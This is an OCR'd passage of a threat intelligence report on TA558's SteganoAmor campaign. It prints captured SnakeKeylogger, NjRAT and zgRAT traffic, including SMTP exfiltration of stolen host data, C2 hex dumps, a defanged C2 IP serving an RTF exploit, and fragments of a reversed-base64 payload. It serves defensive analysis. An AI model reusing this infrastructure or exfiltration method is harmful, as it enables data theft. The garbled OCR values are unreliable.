KEUEB, 1RXY116ZulETtOSIBACTKOECNATe01GbpIWaBF GCt: RXY EACTKOECNATLt4ZLgTSFhITY1ETYU
DZuhDNtUTYSTHLAUNZO@yMi ZmYtITHhdjZwUG07ISPK1ETTOEZIRnCVBHCINHPtOSTSACTgACTgoQD+0SL gATMg) D ItaSISACIgAC 0iPVAITOhZNNRGHKZ ] ZwQ2MA01YiVTOtkz
HyQTLXUGHA@iN3MmN3Y ZxsnIIQWSEMITKVGAY9GCWV3c8OSLhWDIgACTgAI CNATLtASMugDI 2d3bkSWaXBSLtECPEACTEACTKOECNAT L t4zLgISFAMTZ2EGNhRDZSYDZ MO JWLXQDNGOSOINTNEMTZ
ATiZyEGN7ISPKIETTOEZIRnCVBHCINHPE TgACIE0QD+0SLEeDT. HECPEACTRACTKORCNATLtAZL gTSFhNTOMV jHyADNOITY QML TLK InZOONSOWNEEWOihzNxUzM7ISPKIELT

Figure 44. The payload with the reversed Base64-encoded file
The first thing SnakeKeylogger does upon starting is running a check:

e checkip.dyndns|[.]org

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.8.3705;)
Host: checkip.dyndns.org

HTTP/1.1 200 OK

Date: Wed, 20 Mar 2024 11:38:57 GMT
Content-Type: text/html

Content-Length: 104

Connection: keep-alive

Cache-Control: no-cache

Pragma: no-cache

X-Request-ID: bbbebefec6d442f73722d790203fadcc

<html><head><title>Current IP Check</title></head><body>Current IP Address: /body></html>

Figure 45. The checkip.dyndns.org check
It then checks the geographic location according to the IP address:

« reallyfreegeoipl.Jorg
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GET /xml HTTP/1.1
Host: reallyfreegeoip.org
Connection: Keep-Alive

HTTP/1.1 200 0K

Date: Wed, 20 Mar 2024 11:38:56 GMT

Content-Type: application/xml

Transfer-Encoding: chunked

Connection: keep-alive

access-control-allow-origin: *

vary: Accept-Encoding

Cache-Control: max-age=86400

CF-Cache-Status: HIT

Age: 16016

Last-Hodified: Wed, 20 Mar 2024 07:12:00 GMT

Report-To: {"endpoints”:[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?
5 - i 4 el

AxzkbAuj 3

e 1jkOgWHCET iP2ygaMIghtnoBriHntidwTfQ3uv"}1, "group”:"
cf-nel”, "max_age":604800}

NEL: {"success_fraction”:0, "report_to":"cf-nel", "max_age":604300}

Server: cloudflare

CF-RAY: 86756b388fba636d-LHR

alt-svc: h3=":443"; ma=86400

<Response>
<IP>. </1P>
<CountryCode>R0</CountryCode>
<CountryName>Romania</CountryName>
<RegionCode></RegionCode>
<RegionName></RegionName>

<City></City>
<ZipCode></ZipCode>
<TimeZone>Europe/Bucharest</TimeZone>
<Latitude> /Latitude>
<Longitude> ¢/Longitude>
<MetroCode>8</MetroCode>
</Response>

Figure 46. The geographic location check
This is followed by a request to get an SMTP server:

 scratchdreams|.]tk/_send_.php?TS

GET /_send_.php?TS HTTP/1.1
Host: scratchdreams.tk
Connection: Keep-Alive

HTTP/1.1 522

Date: Wed, 20 Mar 2024 11:39:30 GMT

Content-Type: text/plain; charset=UTF-8

Content-Length: 15

Connection: keep-alive

Report-To: {"endpoints"”:[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?
s=nMDW6rwXiFAK8CsxfIPREqrk4]zMLh7NFCR3bK3Nmi2DIdTBjOI%2Bgk3%2BzV6RshucdDEQOkIOZRTYvFAS90ZBHN I T6m%2Btq1ZCobGFDKSY T\
nel”,"max_age" :604800}

NEL: {"success_fraction":8,"report_to":"cf-nel","max_age" :604800}

X-Frame-Options: SAMEORIGIN

Referrer-Policy: same-origin

Cache-Control: private, max-age=@, no-store, no-cache, must-revalidate, post-check=8, pre-check=0
Expires: Thu, @1 Jan 1970 00:00:01 GMT

server: cloudflare

CF-RAY: 86756b4a6d5d3da8-LHR

alt-svc: h3=":443"; ma=86400

error code: 522

Figure 47. The request to get an SMTP server

Finally, SnakeKeylogger forwards the information it stole to the compromised legitimate SMTP server:

220 ESMTP Wed, 20 Mar 2024 11:39:35 +2000
EHLO
250- Hello [ ]

250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-PIPECONNECT

250-AUTH PLAIN LOGIN CRAM-MD5 PLAINMVPS
258-CHUNKING

250-STARTTLS

250 HELP
AUTH login
334

235 Authentication succeeded

MAIL FROM:

250 0K

RCPT TO:

250 Accepted

DATA

354 Enter message, ending with "." on a line by itself
MIME-Version: 1.0

From:

oG

Date: 20 Mar 2024 11:39:35 +0000
Subject: Pc Name: | Snake Tracker

Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Pl | | Snake=@D=0A =BD=@A=0D=BAPC Name: AD=PADate a=
nd Time: 3/20/2024 / 11:38:51 AM=0D=0AClient IF: -BD=0A=
=0D=0ACountry Name: Romania=@D=BACountryCode: RO=0D=0ARegion Name=
: =0D=BARegion Code: =@D=PACity: =@D=@ATime7one: Europe/Bucharest=
=@D=PALatitude: AD=PALongitude: @D=0AStub Version
4. 4=0D=0A=0D=0A=0D=0A=0D=0A=0D=0A=0D=0A=0D=0A

250 0K

Figure 48. Sending data to the compromised legitimate SMTP server
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1.8 Other attack examples

We saw other attack chains. For example, here's an example of network communication between NjRAT and C2

00000000 32 30 34 00 6c 6C 40 21 23 26 5e 25 24 204.11@! #&" %<
00ee0a1e

00000020 32 de 44 63 3d 40 21 23 26 Se 25 24 2NDc=@!# &%
00000830 23 26 5e 25 2 40 JHE™ %8 @

20000846 21 23 26 S5e 25 24 31 39 2d 30 33 2d 32 38 40 21 1#8"%%19 -03-28@!
00000050 23 26 5e 25 24 40 21 23 26 S5e 25 24 Ad 69 63 72 #&"%$@!# & %$Micr
00000060 6T 73 6F 66 74 20 57 69 6e 64 6f 77 73 20 37 20  osoft Wi ndows 7
00000070 5@ 72 6f 66 65 73 73 69 6f 6e 61 6c 20 53 50 31 Professi onal SP1
00000080 2@ 78 38 36 40 21 23 26 5e 25 24 4e 6f 40 21 23 x86@ ! #& ~%$No@!#
20000090 26 Se 25 24 30 2e 37 de 43 40 21 23 26 5e 25 24 & %$0.7N (@!#&"%%
000002A0 2e 2e 40 21 23 26 5e 25 . .@1#8°%
00000080
00e00ace 3d 40 21 23 26 5e 25 24 L#&MHS
0opoeeDe 31 35 38 @0 69 be 66 48 21 23 26 S5e 25 24 158.inf@ |48 %
00B0LREL
00BeRar:
eoeeel100
00geelle
000001260
00000130
00000140
006001560
00000160
00000170

0000060y S22 31 60 43 41 50 40 21 23 26 S5e 25 24 33 35 46 21.CAP@! #&"%$35@

00000010 21 23 26 5e 25 24 32 33 13#8°%$23
20000172 39 36 30 0@ 43 41 50 40 21 23 26 S5e 25 24 ff d8  960.CAP@ !#&"%$..
00000182 ff ed @0 10 4a 46 49 46 00 01 01 01 00 60 00 60 sesnlE e Gamas
00000192 00 60 ff db 00 43 00 P8 @6 P6 07 @6 05 @8 ©7 @7  ..... L
2000O1A2 07 @9 @9 08 @a Oc 14 0d @c @b Bb Oc 19 12 13 @f ........ ........
000001B2 14 1d la 1f l1e 1d 1a 1c 1c 20 24 2e 27 20 22 2¢  ........ o il
200001C2 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d #..(7),0 1444 '9=
200001D2 38 32 3c 2e 33 34 32 ff db @0 43 21 09 @9 09 @c  82<.342. ..C.....
000001E2 ©0b @c 18 od @d 18 32 21 1c 21 32 32 32 32 32 32 ...... 21 1293232
Q00001F2 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 222223277 22222727
00000202 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 22222222 222222722
8e2e0212 32 32 32 32 32 32 32 32 32 32 32 32 ff c@ 90 11 22222222 2227....
20000222 08 @0 17 0@ 23 03 01 22 @0 02 11 01 03 11 01 f+ IR T

Figure 49. An example of network communication between NjRAT and C2

But these differed only insignificantly from the ones described above, essentially being the same attacks with different final

payloads.

Thus, as we were examining the threat actor's infrastructure, we noticed that the IP addresses used to host RTF files with
exploits embedded in them and fake JPG files with embedded VBS scripts were also used as the locations for various RATSs.

As an example, here is the IP address of the zgRAT C2 server:

e 94.156.69[.117

GET /xampp/bl1/leeisagoodmanwholovedhertrulyfromtheheartsheismycutegirl _ilovehertrulyfromtheheartwithallmylovetokissyousuccess.doc HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.56727; .NET CLR 3.5.30729; .NET CLR 3.0.
Media Center PC 6.0; .NET4.0C; .NET4.6E; InfoPath.3)

Connection: Keep-Alive

Host: 94.156.69.17

HTTP/1.1 260 OK

Date: Tue, 19 Mar 2024 ©9:29:45 GMT

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
Last-Modified: Tue, 19 Mar 2024 05:38:49 GHT

ETag: "12a63-613fce37aagf1"

Accept-Ranges: bytes

Content-Length: 76387

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/msword

{\rtf1

{\*\stylerestrictions240747745 \(}
{\8541709735+: 2062526%<6%.4_[6.):[/1)2., /4" >$29. "6t3@%<2) >/ 1414% 4.4 ~, 25"_-/1#2/9% 6. #50[ : | .7++2,
02, "~ #@+ [ >%21~2%97]" "#7_.5: .:)2>%.80.+2=,07_6", .5+0>98%-[ .5/~/&2?1 | /) [1=0%57<7-./)8),_>"
(#0702-2>,4° '463723]2|<~28/.$>/@<9-7-.2|02_199<32%.2. . 123[5#>3%2[?28? -

2.21.()a1)> >82%2 %6 | 7|@962. 2<" <1#5(
1nn@5e2 " [#2%;>=6_)523"6. 26($ 14, %2%) . 48"/

Figure 50. An example of this IP address being involved in the infection chain
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Ethernet I1, Src: 12:3b:cfilc:13:35 (12:3bicF
Internet Protocol Version 4, Src: 94.156.69.17
Transmission Control Protocol, Src Port: 39081
Data (4 bytes)

00000000 70 00 00 00
00000004 64 3f d2 1b b6 d7 34 @9 de b@ bd 1f cb a3 71 39
00000014 00 a2 64 08 4d a6 13 22 5d 90 da 27 74 06 22 02
00000024 60 4c 53 e6 68 d3 b® 13 9c 84 00 al bf 7c 5b e7
00000034 27 a@ b7 cb a5 f2 a2 c4 69 5b ef cd 79 00 50 bd
00000044 08 cf ad a9 81 50 32 24 a3 6b be dd d2 @e 13 ea - .P2%
00000054 64 ef 6d 93 f2 52 9b @c 3c bd 34 67 04 3b 67 2f d.m..R.. <.4g.;8/
00000064 f7 58 c9 ac 23 44 9¢c 3e 28 53 b3 ad 2c 73 38 35 .. #D.> (5..,s85
00000000 b8 01 00 00
00000004 d2 ec c@ dO c@ e9 ae 68 97 a4 c6 b7 dd f2e6 b3 .......h ... .. ...
00000014 a0 d4 f8 5a 15 21 99 c3 @1 44 96 56 33 f@ 43 b9 ...z . .D.v3.C.
00000024 a5 3c 75 26 42 79 b4 41 54 68 9e 37 81 19 b® c@  .<ulBy.A Th.7....
00000034 d6 5a 13 ee 13 74 10 84 36 af 99 23 b3 39 a4 3a .
00000044 af 40 19 48 3f cf be 3a dd 46 be 59 @f dc 67 da
00000054 11 8b d@ 53 19 1c cb 18 7c ea da dc 54 37 33 5f
00000064 c3 6e d2 27 de 3e a7 ed 3b d4 8d 60 e8 ad 32 42
00000074 63 74 a2 Se 37 69 b9 41 @4 e3 94 8d a3 73 c2 dd
00000084 02 f2 df 78 f3 @9 c7 be 1f b3 26 8a 12 de 9f 9c
00000094 f8 bf cb a5 21 a5 78 6c S5f 43 89 5a 66 29 5b 99
©000000A4 3b ac 44 f9 58 ef bd a8 5f b3 6d ef 09 dc f7 14
000000B4 Ge 19 5d 74 66 2b ae 95 33 24 cb 6¢c 24 41 ee 69
000000C4 fb d3 8b d4 b3 2b 71 11 1b d@ e3 12 28 85 29 b5
00000004 42 04 26 a@ f4 37 62 4d 8a c5 5d d5 @d 51 81 @3
©00000OEA e0 dd 20 6e 91 95 5c 27 3f 82 29 59 9f a9 43 6d
000000F4 3a 12 cb ea 69 5d 27 59 33 71 4c a3 97 26 fb Ge
00000104 a8 82 71 51 e3 e3 46 ea a4 39 of bb 5f af 94 82
00000114 2e 85 5d da dc e4 de 45 ac a8 el 92 96 bf b2 39
00000124 @d f3 5c 82 b2 da 62 98 1c 7e 5e 93 61 e5 31 d9
00000134 7d 9d 3e e0 9c 68 96 7c 6 al 37 be 02 0b ed c2
00000144 87 77 af €9 97 of aa 45 c4 1f ac da ee d9 55 cf
00000154 c4 76 fa 8a fb 5d 30 c@ 6f @7 94 51 52 2d 19 @9
00000164 d3 41 5e ad c8 e3 df 45 5d 6b 22 a7 1a 05 95 40
00000174 d7 @7 6b a6 65 @e 61 49 d3 e2 3e @a cf 12 el 10
00000184 c1 ab d@ 18 c@ 66 4a 73 d2 af al a2 @f de b8 ab
00000194 @c 82 19 f5 @5 a3 79 14 c2 14 70 83 9b 7e 89 d9
©00001A4 a3 c3 32 d8 76 ac @e ba 70 8f 3b bd a9 96 dc 8c
00000184 89 01 2d 3a 4f cl1 7c f2

x

Figure 51. An example of this IP address being used for the zgRAT C2 server

The group's use of legitimate FTP and SMTP servers

Upon closer inspection, the FTP servers we found turned out to be legitimate services, which the threat actor presumably

had infected to use as C2s for exfiltration of victims' data extracted with the help of the malware described above.
In each case, the legitimate sites belonged to various small companies based in Mexico, Colombia, and Romania.

Here is one such site:

Figure 52. A legitimate site

The organization has an active social media account with several thousand subscribers and a link to a website:
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[CANTEOVN  © Message 1l Like

Posts  About  Mentions  Reviews  Followers  Photos  More v

Featured

& In-store pickup
© Price Range - $§

#r Rating - 4.1 (62 Reviews) @

Figure 53. The social media account

Figure 54. A legitimate site

As in the previous case, this organization has an active social media account with several thousand subscribers and a link
to a website:
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Posts  About  Mentions  Reviews  Followers  Photos  More v

@ Opennow «

P Rating - 42 (13 Reviews) @

N
Figure 55. The company's Facebook account

When researching the group's attacks on Russian companies, we noticed that, besides FTP servers, it used SMTP

on compromised servers that hosted legitimate European websites:

Figure 56. A legitimate site

The group created some of its SMTP domains to make its activities appear legitimate. Thus, one of the SMTP domains

it used, itresinc.com, is apparently trying hard to look like the legitimate it-resinc.com.
The threat actor used these legitimate and newly created SMTP servers in two ways:

1. To send phishing email

2. As a C2 server for spreading malware

Interestingly, the group never used the same SMTP server as both a phishing server and a C2 in one attack.
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As an example of an attack, here is an email message sent to an organization in Russia from a compromised legitimate
SMTP server:

3/18/24,11:13

ct LOADING ADVICE FOR FEEDER VESSEL: X PRESS NUPTSE V-172N; ETD: 29-02-24

Dear Valued Suppliers,

Please find the attached loading advice. for your incoming shipment

FEEDER VESSEL: X PRESS NUPTSE V-172N; ETD: 29-02-24

Thanks & Regards,

v [J 1attachment: loading advic

[ loading advicezip 599 KB

Figure 57. The email from the compromised SMTP server
The phishing email came with a ZIP archive attached:
» "loading advice.zip" SHA-256: ca383ef7a0031ff933907be8b038ccc62ac556bdc0f077d7f9c3022952e62efa
The archive contained one file that was AgentTesla:

 "loading advice.exe" SHA-256: 84b2a0360556088e4aad29627d4ed15d53b18aa72d9d98b4b0d1be27916c681e

Location:

Figure 58. The contents of the archive
When the executable runs, it uploads data to an SMTP server that imitates a legitimate one:
« mail.itresinc.com
Attribution to known groups

In the course of our research, we found that a part of the campaign had been described by _analysts at Cyble.

Cyble describes the same kill chain that we saw, including the use of steganography, as well as the payload, which may

contain various types of malware like AgentTesla, Remcos, and so on.
Researchers at MetabaseQ last October described the same threat actor's activity, attributing it to TA558.

Their report takes note of the kill chain, which also employed steganography. Although the researchers said that the victims,
as with TA558 earlier, were located in Latin America, the United States, Portugal, and Spain, we have found that while
TAS558 mainly focuses on Latin America, the number of affected countries is much greater, and TA558 attacks completely

different countries.

Last August, researcher Ankit Anubhav shared on X (formerly Twitter) information about TA558's use of steganography

with a final chain that resulted in infection with Quasar Rat.

Another Microsoft researcher, Igal Lytzki, referred to Ankit Anubhav in his description of a similar attack, where he drew

attention to steganography samples and AgentTesla on an FTP server containing logs of victims' data. Igal said he had

informed the victims accordingly:

Page 24 of 25


https://cyble.com/blog/threat-actor-employs-powershell-backed-steganography-in-recent-spam-campaigns/
https://www.metabaseq.com/ta588/
https://twitter.com/ankit_anubhav/status/1689585087267188736
https://twitter.com/0xToxin/status/1708722097885679688

https://www.ptsecurity.com /ww-en/analytics/pt-esc-threat-intelligence/steganoamor-cam paign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/

« Post
ﬁ Igal Lytzki=
@@xToxin

Yesterday | analyzed a campaign from #TAS53 which was involving the
stego approach on pictures .

Eventually it lead to #Agenttesla malware that exfiltrated data via FTPR, |
was curious about the data they managed to exfiltrate and sadly they
had a good number of valid hotel accounts credentials...

| didn’t hesitate and went to a mass email session letting each hotel
know that they had accounts breached... some replied with thank you
and it made me happy.

For the FTP server, well consider it as wiped :)

Ql? Ankit Anubhav 2 @ankit_anubhav - Aug 10, 2023
#TAB5G8 attacker is back with malicious JavaScript.

Now they download a Spiderman image which looks valid, but at the end has
<BASEG4_START= and <BASEG4_END=> tags.

Show more

tetdlped,

TUx=FEdK/SE [+Eofe=N(20080Etf]  fLog 0, L14>;2  <tAtagl

ifilogea” Tidahpedd jKnEd ) frl=1
g <7 [Ji08Mg 0™ [k9-T_*600-14 n@f#H$GeE" S2n oN+HEOL
I8 F 058 3 cosl-v 9mwE? 6, DkUsiMR71 [E0 /A gt
07 ¥<<BASEG4_START=>TVQOAAMAAAAEAARAS / BAALGAARAAAAAAL
WOEARABAAAAGARAAAG AABARARAAAAANGARARAAALAARAMAANGAL
AARARACSBZXhRAAAAB TOXARAGANAA | | EARATAAAAAARAARAAARAL
AMMAAAETrBShGTATBKgARAE

A
GRBIAKDY+AAY gADorBS ime 05 rACT oPoAGKaARK W oVDOFHaACAD!
QgAAMAEgAAAC oAARATHAMAPOEAAAEAABECEDAAB LADAAAA g4 A"

Fig. 59. Tweet by researcher Igal Lytzki

Conclusion

The TAS558 attack chains in the SteganoAmor campaign examined here continue to affect users in Latin America and
elsewhere in the world. The group continues to exploit the fairly old CVE-2017-11882 in its attack chain. It uses
steganography, an obfuscation technique, inside the chains to spread well-known malware used in other attacks in recent
years. The phishing may be harder to detect due to the group's use of compromised legitimate SMTP servers,

so we recommend exercising caution when dealing with email that contains attachments, even if the messages were received
from governmental organizations or small local companies. The use of legitimate SMTP and FTP servers, as well as tools
like Guloader, may complicate detection of the threat actor's presence on the host, so companies are advised to monitor

network traffic more closely and investigate suspicious activity linked to legitimate services.

Source: https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-instituti

ons-all-around-the-world,
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